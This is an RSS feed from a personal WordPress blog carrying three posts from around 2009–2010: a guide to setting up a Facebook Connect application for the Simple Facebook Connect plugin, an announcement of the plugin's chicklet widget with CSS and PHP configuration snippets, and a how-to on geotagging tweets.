<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:georss="http://www.georss.org/georss" xmlns:media="http://search.yahoo.com/mrss/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Nothing to see here</title>
	
	<link>http://ottodestruct.com/blog</link>
	<description>Random meanderings you're probably not interested in</description>
	<lastBuildDate>Mon, 01 Feb 2010 19:44:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain="ottodestruct.com" port="80" path="/blog/?rsscloud=notify" registerProcedure="" protocol="http-post" />
		<feedburner:info uri="ottodestruct" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><geo:lat>35.135499</geo:lat><geo:long>-90.05962</geo:long><creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license><meta xmlns="http://pipes.yahoo.com" name="pipes" content="noprocess" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://ottodestruct.com/blog/feed" /><feedburner:emailServiceId>ottodestruct</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Fottodestruct.com%2Fblog%2Ffeed" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Fottodestruct.com%2Fblog%2Ffeed" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Fottodestruct.com%2Fblog%2Ffeed" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://ottodestruct.com/blog/feed" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Fottodestruct.com%2Fblog%2Ffeed" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Fottodestruct.com%2Fblog%2Ffeed" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Fottodestruct.com%2Fblog%2Ffeed" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Fottodestruct.com%2Fblog%2Ffeed" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><item>
		<title>How to Setup your Facebook Connect Application</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/hROXnGUsJ00/</link>
		<comments>http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 17:21:45 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[settings]]></category>
		<category><![CDATA[sfc]]></category>
		<category><![CDATA[simple facebook connect]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=655</guid>
		<description>The majority of the email I get from users of the Simple Facebook Connect plugin is questions regarding how to setup their Facebook Application. It&amp;#8217;s really not that hard to do, but the plethora of options can seem  somewhat intimidating. So here&amp;#8217;s the basics of what you need to do.

After creating your application, you&amp;#8217;ll [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/" type="box_count"></fb:share-button><p>The majority of the email I get from users of the <a href="http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a> plugin is questions regarding how to setup their Facebook Application. It&#8217;s really not that hard to do, but the plethora of options can seem  somewhat intimidating. So here&#8217;s the basics of what you need to do.</p>
<p><span id="more-655"></span></p>
<p>After creating your application, you&#8217;ll need to visit the <a href="http://www.facebook.com/developers/apps.php">Apps section</a> in the Facebook Developer Home area. Here you&#8217;ll find your application, and the all critical &#8220;Edit Settings&#8221; link.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1.png"><img class="alignnone size-full wp-image-656" title="Main Application Screen" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1.png" alt="Main Application Screen" width="761" height="404" /></a></p>
<p>Firstly, <em>never give out your Application Secret</em>. If you give this out by accident, then use the Reset Secret Key link to get a new one.</p>
<p>Anyway, from here, you want to go into the settings. The settings area is divided into six main sections, but most of the settings are irrelevant. See, you&#8217;re building a &#8220;Connect&#8221; application, not a &#8220;Canvas&#8221; one. So most of these are meaningless for you. The following ones are what you actually care about:</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp2.png"><img class="alignnone size-full wp-image-657" title="Application name" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp2.png" alt="Application name" width="704" height="93" /></a></p>
<p>Obviously, you want the name of your Application to make sense. I suggest using the same name as your website. You can even use your domain name here if you like. Just be aware that this name is what the Fans of your site will see in their Applications area.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp3.png"><img class="alignnone size-full wp-image-658" title="Basic Information" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp3.png" alt="Basic Information" width="700" height="284" /></a></p>
<p>The Basic Information section is important as well, fill it in as you see fit. I also recommend uploading good icons and/or logos for your site. Gives it that finished look.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp4.png"><img class="alignnone size-full wp-image-659" title="Contact Information" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp4.png" alt="Contact Information" width="695" height="342" /></a></p>
<p>Contact Information is obviously important as well, but don&#8217;t worry about all those extra URLs. They really apply more to Canvas apps. Of course, if you want to make special pages on your site for them and provide the URLs here, feel free.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp5.png"><img class="alignnone size-full wp-image-660" title="Authentication Settings" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp5.png" alt="Authentication Settings" width="695" height="222" /></a></p>
<p>The Authentication Settings page is surprisingly important. Those top two boxes need to be unchecked for a Facebook Connect application. Why? Because when they are unchecked, your Application becomes an &#8220;External Website&#8221; as far as Facebook is concerned. If you have either them checked, then your app&#8217;s Canvas section becomes active and you might have users trying to add it to their profiles and such, resulting in broken pages and a general bad user experience.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp6.png"><img class="alignnone size-full wp-image-661" title="Connect Settings" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp6.png" alt="Connect Settings" width="688" height="227" /></a></p>
<p>The Connect Settings page is probably the most important one. These settings must be filled in and they must be <em>absolutely accurate</em>. Specifically, the URLs must be the URLs that are actually used by your site. Capitalization matters. The leading &#8220;www&#8221; or lack of one matters. Whatever the URL your site is in the browser is what you MUST put into these fields. Anything less and your site <em>will not work</em>.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp8.png"><img class="alignnone size-full wp-image-663" title="Advanced Settings" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp8.png" alt="Advanced Settings" width="687" height="134" /></a></p>
<p>The Advanced Settings screen contains these three fields which you need to set in the same way I did. The email domain should be your own domain, obviously. This field must be filled in for you to get real user emails on your Connected site. Without this, you only get proxied emails through Facebook.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp7.png"><img class="alignnone size-full wp-image-662" title="Application Profile" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp7.png" alt="Application Profile" width="567" height="262" /></a></p>
<p>Finally, after you have saved those settings, take the time to go back to the main application screen and click the &#8220;Edit Application Profile&#8221; link. You&#8217;ll be taken here, where you can set up the &#8220;look&#8221; of your application page on Facebook. This includes what tabs are visible, the stuff in the Info section, etc. You can add extra Applications tabs to this page and generally customize all sorts of stuff. None of that affects your site, but it does affect how the App Page looks in Facebook. The more polished it is, the more likely people will &#8220;Fan&#8221; your Application. And Fans get updates from when you publish posts to the Wall. Great way to drive traffic to your content.</p>
<p>Hope this helps! Mainly, I hope this reduces the number of questions I get about this process. Enjoy SFC!</p>

<p><a href="http://feedads.g.doubleclick.net/~a/Lf6U4hZ04RL9RHnyoIRrzldH4dA/0/da"><img src="http://feedads.g.doubleclick.net/~a/Lf6U4hZ04RL9RHnyoIRrzldH4dA/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Lf6U4hZ04RL9RHnyoIRrzldH4dA/1/da"><img src="http://feedads.g.doubleclick.net/~a/Lf6U4hZ04RL9RHnyoIRrzldH4dA/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=hROXnGUsJ00:e9hG_RQEdQc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=hROXnGUsJ00:e9hG_RQEdQc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=hROXnGUsJ00:e9hG_RQEdQc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=hROXnGUsJ00:e9hG_RQEdQc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=hROXnGUsJ00:e9hG_RQEdQc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=hROXnGUsJ00:e9hG_RQEdQc:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=hROXnGUsJ00:e9hG_RQEdQc:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/hROXnGUsJ00" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1-150x79.png" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1.png" medium="image">
			<media:title type="html">Main Application Screen</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1-150x79.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp2.png" medium="image">
			<media:title type="html">Application name</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp2-150x19.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp3.png" medium="image">
			<media:title type="html">Basic Information</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp3-150x60.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp4.png" medium="image">
			<media:title type="html">Contact Information</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp4-150x73.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp5.png" medium="image">
			<media:title type="html">Authentication Settings</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp5-150x47.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp6.png" medium="image">
			<media:title type="html">Connect Settings</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp6-150x49.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp8.png" medium="image">
			<media:title type="html">Advanced Settings</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp8-150x29.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp7.png" medium="image">
			<media:title type="html">Application Profile</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp7-150x69.png" />
		</media:content>
	<feedburner:origLink>http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/</feedburner:origLink></item>
		<item>
		<title>SFC Chicklet</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/yFAHhSSsMWk/</link>
		<comments>http://ottodestruct.com/blog/2009/sfc-chicklet/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 17:13:56 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[chicklet]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[fbfoundations]]></category>
		<category><![CDATA[sfc]]></category>
		<category><![CDATA[simple facebook connect]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=633</guid>
		<description>I saw this morning that Jesse Stay had created a rather neat little chicklet for his FBFoundations plugin. I thought it was a clever idea, so naturally I stole it and added it to Simple Facebook Connect as well.
Of course, just copying an idea is no fun. So I had to improve upon it a [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/sfc-chicklet/" type="box_count"></fb:share-button><p>I saw this morning that <a href="http://staynalive.com/articles/2009/12/22/make-your-facebook-page-fly-with-the-fbfoundations-facebook-chicklet/">Jesse Stay had created</a> a rather neat little <a href="http://www.ifeedreaders.com/chicklet-creator/">chicklet</a> for his <a href="http://staynalive.com/articles/2009/10/10/fbfoundations-facebook-connect-plugin-for-wordpress/">FBFoundations</a> plugin. I thought it was a clever idea, so naturally I stole it and added it to Simple Facebook Connect as well.</p>
<p>Of course, just copying an idea is no fun. So I had to improve upon it a bit for my version. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I ended up not using any of Jesse&#8217;s code, but I did (mostly) keep the format of his chicklet output the same, so as to try to be compatible with it for styling rules and such.</p>
<p><span id="more-633"></span></p>
<h3>Usage</h3>
<p>The SFC Chicklet works in one of a few ways:</p>
<ul>
<li>First, it&#8217;s a widget if you just want to stick it in a sidebar or something. That&#8217;s easy.</li>
<li>On the other hand, if you want to integrate it into your theme, then all you have to do is to add a call to sfc_chicklet(); anywhere you like.</li>
</ul>
<h3>Configuration (Styling)</h3>
<p>Now, unlike Jesse&#8217;s FBFoundations plugin, Simple Facebook Connect is all about simplicity. So I removed all the configuration options that he used (widths, colors, etc) and made them styleable instead.</p>
<p>The SFC Chicklet has a default set of styles that it puts right into the HTML itself. However, these can be easily overridden by your own styles in your theme. The thing to notice is that all the styles I use refer to classes only, not referencing the tags. So, if you re-style and use the tags as well, then your styles win the <a href="http://www.stuffandnonsense.co.uk/archives/css_specificity_wars.html">specificity war</a>, and will take precedence.</p>
<p>Thus, if you want to change the background color of the main box, you can do this:<br />
<code><br />
div.fanBoxChicklet {<br />
background-color:blue;<br />
}</code></p>
<p>Simple. The &#8220;div&#8221; makes it take precedence. Anybody familiar with simple CSS should be able to easily style it the way they like.</p>
<p>On the other hand, if you&#8217;re a super-themer and want to disable the built-in styles entirely, add this to your theme&#8217;s functions.php file:</p>
<p><code>global $sfc_chicklet_no_style;<br />
$sfc_chicklet_no_style = true;</code></p>
<h3>Extra</h3>
<p>And, of course, this new plugin supports both the Application and the Fan Page methods, for those of you who have your webpage hooked to a Fan Page. This is similar to the new support for Fan Pages in the SFC Publish and SFC Fan Box plugins.</p>
<p>If you&#8217;re a <em>real</em> power user, you might want to display a chicklet for more than one page or application. Well, we&#8217;ve got you covered, just call sfc_chicklet(&#8220;ID-NUMBER&#8221;), where ID-NUMBER is the ID of your application or page. Remember, this needs to be a string, not an integer.</p>
<h3>Internals</h3>
<p>Internally, the plugin uses the Facebook PHP library to get the necessary data from Facebook, so there&#8217;s no need to have any odd javascript or ajax requests to make the system work. Because of the use of this Facebook code, PHP 5 is required to use this plugin.</p>
<p>However, the Facebook code includes a JSON library (if you don&#8217;t have one already loading), which means that if you activate this plugin, it&#8217;s quite probable that the whole SFC system will run on WordPress 2.8, even if it wouldn&#8217;t before. Of course, since 2.9 was just released, this is not as big of a deal, really.</p>
<p>The plugin also uses the <a href="http://codex.wordpress.org/Transients_API">WordPress Transients API</a> as a caching mechanism, so that it only asks Facebook for the fan count a maximum of once per hour. The Transients API was introduced in 2.8, and so the plugin should still work okay if you haven&#8217;t upgraded to 2.9 yet.</p>
<p>And if you can come up with any other good Facebook plugin ideas, let me know. SFC has proven to be an easy platform for building simple Facebook plugins on top of, so they can probably be produced pretty quickly and easily. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Installation</h3>
<p>If you haven&#8217;t installed SFC yet, then this chicklet is part of the package. Just download it and install from here:<br />
<a href="http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php">http://wordpress.org/extend/plugins/simple-facebook-connect/</a></p>
<p>Alternatively, in a WordPress installation, just go to the &#8220;Plugins-&gt;Add New&#8221; area and search for &#8220;Simple Facebook Connect&#8221;. You can install the package directly from there.</p>
<p>If you already are using SFC 0.8, then you only need the new file. You can download it separately here:<br />
<a href="http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php">http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php</a></p>
<p>Just drop it into your /wp-content/plugins/simple-facebook-connect directory, then activate it in the Plugins panel.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/Z3k7qmNvuQY3IGqLlI8w4ZIAKmY/0/da"><img src="http://feedads.g.doubleclick.net/~a/Z3k7qmNvuQY3IGqLlI8w4ZIAKmY/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Z3k7qmNvuQY3IGqLlI8w4ZIAKmY/1/da"><img src="http://feedads.g.doubleclick.net/~a/Z3k7qmNvuQY3IGqLlI8w4ZIAKmY/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=yFAHhSSsMWk:tD_TDgAYQ2I:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=yFAHhSSsMWk:tD_TDgAYQ2I:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=yFAHhSSsMWk:tD_TDgAYQ2I:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=yFAHhSSsMWk:tD_TDgAYQ2I:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=yFAHhSSsMWk:tD_TDgAYQ2I:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=yFAHhSSsMWk:tD_TDgAYQ2I:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=yFAHhSSsMWk:tD_TDgAYQ2I:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/yFAHhSSsMWk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/sfc-chicklet/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
	<feedburner:origLink>http://ottodestruct.com/blog/2009/sfc-chicklet/</feedburner:origLink></item>
		<item>
		<title>Twitter Geolocation</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/2bKl0tZj9dE/</link>
		<comments>http://ottodestruct.com/blog/2009/twitter-geolocation/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 20:08:03 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[Thingery]]></category>
		<category><![CDATA[fire eagle]]></category>
		<category><![CDATA[geotag]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[tweetie]]></category>
		<category><![CDATA[twitaloc]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=618</guid>
		<description>Heard of geotagged tweets yet? Not surprised, a lot of my friends seem to have not caught on to it, so I&amp;#8217;m writing this in a possibly futile attempt to get them to try it out.
How to add your location to your tweets
1. Turn on Geotagging. To do this, go to your Twitter settings page. [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/twitter-geolocation/" type="box_count"></fb:share-button><p>Heard of geotagged tweets yet? Not surprised, a lot of my friends seem to have not caught on to it, so I&#8217;m writing this in a possibly futile attempt to get them to try it out.</p>
<h3>How to add your location to your tweets</h3>
<p>1. Turn on Geotagging. To do this, go to <a href="http://twitter.com/account/settings">your Twitter settings page</a>. Down under the &#8220;Location&#8221; section is an option to enable geotagging. Turn it on.</p>
<div id="attachment_619" class="wp-caption alignnone" style="width: 505px"><a rel="attachment wp-att-619" href="http://ottodestruct.com/blog/2009/twitter-geolocation/tweetie5/"><img class="size-full wp-image-619" title="tweetie5" src="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie5.jpg" alt="" width="495" height="198" /></a><p class="wp-caption-text">Twitter Settings</p></div>
<p>2. Get a Twitter client that supports Geotagging. These are generally mobile applications. <a href="http://itunes.apple.com/gb/app/tweetie-2/">Tweetie 2 for the iPhone</a> added support for it in 2.1. Several other clients support it as well. Find one.</p>
<p>3. Turn it on in your client. How you do this depends on the client, but it can usually be enabled on a per-tweet basis.</p>
<p>Here&#8217;s an example of how it works and looks in Tweetie 2 for the iPhone.</p>
<table border="0">
<tbody>
<tr>
<td>
<p><div id="attachment_620" class="wp-caption alignnone" style="width: 110px"><a href="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie1.jpg"><img class="size-thumbnail wp-image-620" title="Tweetie1" src="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie1-100x150.jpg" alt="" width="100" height="150" /></a><p class="wp-caption-text">First, you type in a new tweet, and pull open the drop down.</p></div></td>
<td>
<p><div id="attachment_621" class="wp-caption alignnone" style="width: 110px"><a href="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie2.jpg"><img class="size-thumbnail wp-image-621" title="tweetie2" src="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie2-100x150.jpg" alt="" width="100" height="150" /></a><p class="wp-caption-text">Next, you enable the geotag feature, and you&#39;ll see a little red pin appear.</p></div></td>
<td>
<p><div id="attachment_622" class="wp-caption alignnone" style="width: 110px"><a href="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie3.jpg"><img class="size-thumbnail wp-image-622" title="tweetie3" src="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie3-100x150.jpg" alt="" width="100" height="150" /></a><p class="wp-caption-text">You&#39;ll see little maps on tweets with locations attached to them.</p></div></td>
<td>
<p><div id="attachment_623" class="wp-caption alignnone" style="width: 110px"><a href="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie4.jpg"><img class="size-thumbnail wp-image-623" title="tweetie4" src="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie4-100x150.jpg" alt="" width="100" height="150" /></a><p class="wp-caption-text">Click on the map icon for greater detail.</p></div></td>
</tr>
</tbody>
</table>
<p>You can do more with your Twitter location too. For example, <a href="http://tweetaloc.nowwhat.in/">this website</a> will read your twitter feed and get your latest location, then send it over to <a href="http://fireeagle.yahoo.net/">Fire Eagle</a>, which is Yahoo&#8217;s location service. Fire Eagle can do all sorts of things, but basically it&#8217;s just a service that stores your location for <a href="http://fireeagle.yahoo.net/gallery">other programs</a> to use. So if you want to display your location on your blog, or on Facebook for your friends to see, or anything else you can think of, you can do that, using nothing more than your already existing tweets.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/BnUzkEVXaZ1tdSta4XPDwU0zXUo/0/da"><img src="http://feedads.g.doubleclick.net/~a/BnUzkEVXaZ1tdSta4XPDwU0zXUo/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/BnUzkEVXaZ1tdSta4XPDwU0zXUo/1/da"><img src="http://feedads.g.doubleclick.net/~a/BnUzkEVXaZ1tdSta4XPDwU0zXUo/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=2bKl0tZj9dE:YvgbbJYiews:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=2bKl0tZj9dE:YvgbbJYiews:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=2bKl0tZj9dE:YvgbbJYiews:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=2bKl0tZj9dE:YvgbbJYiews:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=2bKl0tZj9dE:YvgbbJYiews:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=2bKl0tZj9dE:YvgbbJYiews:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=2bKl0tZj9dE:YvgbbJYiews:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/2bKl0tZj9dE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/twitter-geolocation/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie5-150x60.jpg" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie5.jpg" medium="image">
			<media:title type="html">tweetie5</media:title>
			<media:description type="html">Twitter Settings</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie5-150x60.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie1.jpg" medium="image">
			<media:title type="html">Tweetie1</media:title>
			<media:description type="html">First, you type in a new tweet, and pull open the drop down.</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie1-100x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie2.jpg" medium="image">
			<media:title type="html">tweetie2</media:title>
			<media:description type="html">Next, you enable the geotag feature, and you'll see a little red pin appear.</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie2-100x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie3.jpg" medium="image">
			<media:title type="html">tweetie3</media:title>
			<media:description type="html">You'll see little maps on tweets with locations attached to them.</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie3-100x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie4.jpg" medium="image">
			<media:title type="html">tweetie4</media:title>
			<media:description type="html">Click on the map icon for greater detail.</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie4-100x150.jpg" />
		</media:content>
